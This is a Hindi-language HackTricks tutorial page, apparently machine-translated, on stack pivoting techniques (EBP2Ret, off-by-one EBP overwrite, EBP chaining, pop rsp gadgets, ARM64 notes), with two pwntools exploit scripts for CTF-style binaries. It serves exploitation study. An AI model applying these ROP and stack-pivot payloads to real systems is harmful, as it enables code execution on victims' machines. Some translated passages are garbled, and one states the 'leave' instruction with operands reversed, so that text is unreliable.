Stack Pivoting - EBP2Ret - EBP chaining

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

यह तकनीक बेस पॉइंटर (EBP) को मानिबंधन करने की क्षमता का शोषण करती है ताकि EBP रजिस्टर और leave; ret निर्देशिका के सावधानपूर्वक उपयोग से कई फ़ंक्शनों के क्रमबद्ध निष्पादन को चेन किया जा सके।

एक अनुस्मारक के रूप में, leave आम तौर पर यह मतलब रखता है:

mov       ebp, esp
pop       ebp
ret

और जैसे EBP स्टैक में EIP से पहले है, इसे नियंत्रित करना संभव है स्टैक को नियंत्रित करके।

EBP2Ret

यह तकनीक विशेष रूप से उपयोगी है जब आप EBP रजिस्टर को संशोधित कर सकते हैं लेकिन EIP रजिस्टर को सीधे तरीके से बदलने का कोई सीधा तरीका नहीं है। यह तकनीक फ़ंक्शन के व्यवहार का लाभ उठाती है जब वे कार्यान्वित हो जाते हैं।

यदि fvuln के कार्यान्वयन के दौरान आप स्टैक में एक फेक EBP डालने में सफल होते हैं जो एक क्षेत्र की ओर पोइंट करता है जहां आपके शेलकोड का पता है (प्लस 4 बाइट pop क्रिया के लिए), तो आप EIP को अप्रत्यक्ष रूप से नियंत्रित कर सकते हैं। जब fvuln वापस लौटता है, तो ESP इस तैयार किए गए स्थान पर सेट किया जाता है, और आगामी pop क्रिया ESP को 4 से कम कर देती है, इसे वास्तव में एक एड्रेस पर पोइंट करने के लिए बनाती है जिसे हमलवार द्वारा वहां स्टोर किया गया है। ध्यान दें कि आपको 2 पते पता होना चाहिए: जहां ESP जाएगा, जहां आपको ESP द्वारा पोइंट किया जाने वाला पता लिखना होगा।

शोषण निर्माण

सबसे पहले आपको एक पता जानना होगा जहां आप विचारात्मक डेटा / पते लिख सकते हैं। ESP यहाँ पोइंट करेगा और पहला ret चलाएगा

फिर, आपको जानना होगा कि ret द्वारा उपयोग किए जाने वाले पते क्या हैं जो विचारात्मक कोड को चलाएंगे। आप इस्तेमाल कर सकते हैं:

  • एक मान्य ONE_GADGET पता।

  • system() का पता जिसके बाद 4 जंक बाइट्स और "/bin/sh" का पता है (x86 बिट्स)।

  • jump esp; गैजेट का पता (ret2esp) जिसके बाद शेलकोड को चलाने के लिए।

  • कुछ ROP श्रृंखला

ध्यान दें कि नियंत्रित हिस्से के किसी भी पते से पहले, 4 बाइट्स होने चाहिए क्योंकि leave निर्देश के pop हिस्से के कारण। इन 4B का दुरुपयोग करना संभव होगा एक दूसरा नकली EBP सेट करने और कार्यान्वयन को नियंत्रित करने का जारी रखने के लिए।

ऑफ-बाई-वन शोषण

इस तकनीक का एक विशेष वेरिएंट है जिसे "ऑफ-बाई-वन शोषण" के रूप में जाना जाता है। इसका उपयोग किया जाता है जब आप केवल EBP के कम महत्वपूर्ण बाइट को संशोधित कर सकते हैं। इस प्रकार, ret के साथ जाने के लिए जाने वाले पते को स्टोर करने वाला मेमोरी स्थान EBP के पहले तीन बाइट्स साझा करना चाहिए, अधिक सीमित स्थितियों के साथ एक समान उपयोग के लिए। सामान्यत: इसे संभावना से दूर जाने के लिए बाइट 0x00 को संशोधित किया जाता है।

इसके अलावा, स्टैक में एक RET स्लेड का उपयोग करना सामान्य है और अंत में वास्तविक ROP श्रृंखला डालना इसे अधिक संभावना है कि नया ESP रेट स्लेड के अंदर पॉइंट करे और अंतिम ROP श्रृंखला कार्यान्वित हो।

EBP श्रृंखला

इसलिए, स्टैक के EBP प्रविष्टि में एक नियंत्रित पता डालकर और EIP में leave; ret के लिए एक पता डालकर, यह संभव है कि ESP को स्टैक से नियंत्रित EBP पते पर ले जाया जाए

अब, ESP नियंत्रित है जो एक वांछित पते पर पोइंट कर रहा है और अगला निर्देश एक RET है। इसे दुरुपयोग करने के लिए, नियंत्रित ESP स्थान पर यह डालना संभव है:

  • &(अगला नकली EBP) -> leave निर्देश से pop ebp के कारण नया EBP लोड करें

  • system() -> ret द्वारा कॉल किया जाता है

  • &(leave;ret) -> सिस्टम समाप्त होने के बाद कॉल किया जाएगा, यह ESP को नकली EBP पर ले जाएगा और फिर से शुरू होगा

  • &("/bin/sh")-> system के लिए पैरामीटर

मूल रूप से इस तरह से कई नकली EBPs को श्रृंखलित करना संभव है कार्यक्रम के फ्लो को नियंत्रित करने के लिए।

यह एक ret2lib की तरह है, लेकिन कोई प्रत्यक्ष लाभ नहीं है लेकिन कुछ एज-केस में दिलचस्प हो सकता है।

इसके अतिरिक्त, यहाँ आपको एक चुनौती का उदाहरण मिलेगा जो इस तकनीक का उपयोग करता है एक स्टैक लीक को जीतने वाले फ़ंक्शन को कॉल करने के लिए। यह पृष्ठ से अंतिम पेलोड है:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP का उपयोग नहीं हो सकता

जैसा कि इस पोस्ट में स्पष्ट किया गया है, यदि कोई बाइनरी कुछ अनुकूलन के साथ कॉम्पाइल किया गया है, तो EBP कभी ESP को नियंत्रित नहीं करता है, इसलिए, EBP को नियंत्रित करके काम करने वाला कोई भी उत्पीड़न असफल हो जाएगा क्योंकि इसका कोई वास्तविक प्रभाव नहीं होता है। यह इसलिए है क्योंकि यदि बाइनरी को अनुकूलित किया गया है तो **प्रोलॉग और एपिलॉग परिवर्तित हो जाते हैं।

  • अनुकूलित नहीं:

push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • अनुकूलित:

push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

RSP को नियंत्रित करने के अन्य तरीके

pop rsp गैजेट

इस पेज में आप इस तकनीक का उपयोग करके एक उदाहरण पा सकते हैं। इस चैलेंज के लिए 2 विशिष्ट तर्कों के साथ एक फ़ंक्शन को कॉल करने की आवश्यकता थी, और वहां एक pop rsp गैजेट था और स्टैक से एक लीक था:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp गैजेट

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

यहाँ ret2esp तकनीक की जाँच करें:

pageRet2esp / Ret2reg

संदर्भ और अन्य उदाहरण

  • 64 बिट, एक त्रुटि के साथ एक्सप्लोइटेशन एक रॉप श्रृंखला जिसकी शुरुआत एक रेट स्लेड के साथ होती है

  • 64 बिट, कोई relro, कैनेरी, एनएक्स और पाई नहीं। प्रोग्राम स्टैक या पाई के लिए एक लीक प्रदान करता है और एक क्यूवर्ड का एक डब्ल्यूडब्ल्यूडब्ल्यू देता है। पहले स्टैक लीक प्राप्त करें और फिर पाई लीक प्राप्त करने के लिए डब्ल्यूडब्ल्यूडब्ल्यू का उपयोग करें। फिर डब्ल्यूडब्ल्यूडब्ल्यू का उपयोग करके .fini_array एंट्रियों को दुरुपयोग करने + __libc_csu_fini को कॉल करने के लिए एक अनंत लूप बनाएं। इस "अनंत" लेखन का दुरुपयोग करके, .bss में एक आरओपी श्रृंखला लिखी जाती है और उसे कॉल करने के लिए उसे RBP के साथ पिवोट किया जाता है।

ARM64

ARM64 में, फ़ंक्शनों की प्रोलॉग और एपिलॉग ने SP रजिस्ट्री को स्टैक में स्टोर और रिट्रीव करने का काम नहीं किया। इसके अतिरिक्त, RET इंस्ट्रक्शन SP द्वारा इंडिकेट किए गए पते पर नहीं वापस लौटता है, बल्कि x30 के अंदर के पते पर।

इसलिए, डिफ़ॉल्ट रूप से, केवल एपिलॉग का दुरुपयोग करके आप SP रजिस्ट्री को नियंत्रित करने में सक्षम नहीं होंगे जिसे स्टैक के अंदर कुछ डेटा को ओवरराइट करके किया जा सकता है। और यदि आप SP को नियंत्रित करने में सफल होते हैं तो आपको फिर भी x30 रजिस्टर को नियंत्रित करने का एक तरीका चाहिए।

  • प्रोलॉग

sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP points to frame record
  • एपिलॉग

ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

ARM64 में स्टैक पिवोटिंग के लिए कुछ समान करने का तरीका होगा कि आप SP को नियंत्रित कर सकें (जिसे SP को पास किए गए किसी रजिस्टर को नियंत्रित करने के लिए या क्योंकि किसी कारण से SP अपना पता स्टैक से ले रहा है और हमारे पास ओवरफ्लो है) और फिर एपिलॉग का दुरुपयोग करने के लिए नियंत्रित SP से x30 रजिस्टर लोड करने और उस पर RET करने की आवश्यकता होगी।

इसके अतिरिक्त, निम्नलिखित पृष्ठ पर आप ARM64 में Ret2esp के समकक्ष देख सकते हैं:

pageRet2esp / Ret2reg
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated